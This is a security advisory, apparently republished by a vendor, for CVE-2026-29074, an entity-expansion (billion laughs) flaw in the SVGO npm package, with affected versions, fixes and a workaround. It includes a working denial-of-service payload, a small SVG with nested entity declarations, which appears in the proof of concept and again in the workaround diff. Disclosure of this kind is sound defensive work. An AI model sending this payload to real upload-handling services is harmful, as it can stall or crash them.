CVE-2026-29074

SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory.

Details

The upstream XML parser (sax) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the DOCTYPE, inserting them into parser.ENTITIES, and enabled unparsedEntities. This gives us the desired behavior of supporting SVGs with entities declared in the DOCTYPE.

However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them.

Proof of Concept

import { optimize } from 'svgo';

/** Presume that this string was obtained in some other way, such as network. */
const original = `
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  ]>
  <lolz>&lol9;</lolz>
`;

optimize(original);

Workarounds

== 4.0.0

For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively:

For example:

yarn up -R sax

New options were introduced upstream which makes the way SVGO parses SVGs safe by default.

>= 2.1.0, <= 3.3.2

Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag.

Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO.

+ import SAX from 'sax';
  import { optimize } from 'svgo';

- const original =`
+ let original = `
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
  `;

+ const parser = SAX.parser();
+ /** @param {string} doctype */
+ parser.ondoctype = (doctype) => {
+   original = original.replace(doctype, '');
+ }
+ parser.write(original);

  optimize(original);

Resources

• Wikipedia: Billion laughs attack

If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size.

It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines.

CVE-2026-29074 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.1, 3.3.3, 4.0.1); upgrading removes the vulnerable code path.

Kodem intelligence

SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore.

1. What is CVE-2026-29074? CVE-2026-29074 is a high-severity security vulnerability in svgo (npm), affecting versions >= 2.1.0, < 2.8.1. It is fixed in 2.8.1, 3.3.3, 4.0.1.
2. How severe is CVE-2026-29074? CVE-2026-29074 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of svgo are affected by CVE-2026-29074? svgo (npm) versions >= 2.1.0, < 2.8.1 is affected.
4. Is there a fix for CVE-2026-29074? Yes. CVE-2026-29074 is fixed in 2.8.1, 3.3.3, 4.0.1. Upgrade to this version or later.
5. Is CVE-2026-29074 exploitable, and should I be worried? Whether CVE-2026-29074 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-29074 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-29074?
   • Upgrade svgo to 2.8.1 or later
   • Upgrade svgo to 3.3.3 or later
   • Upgrade svgo to 4.0.1 or later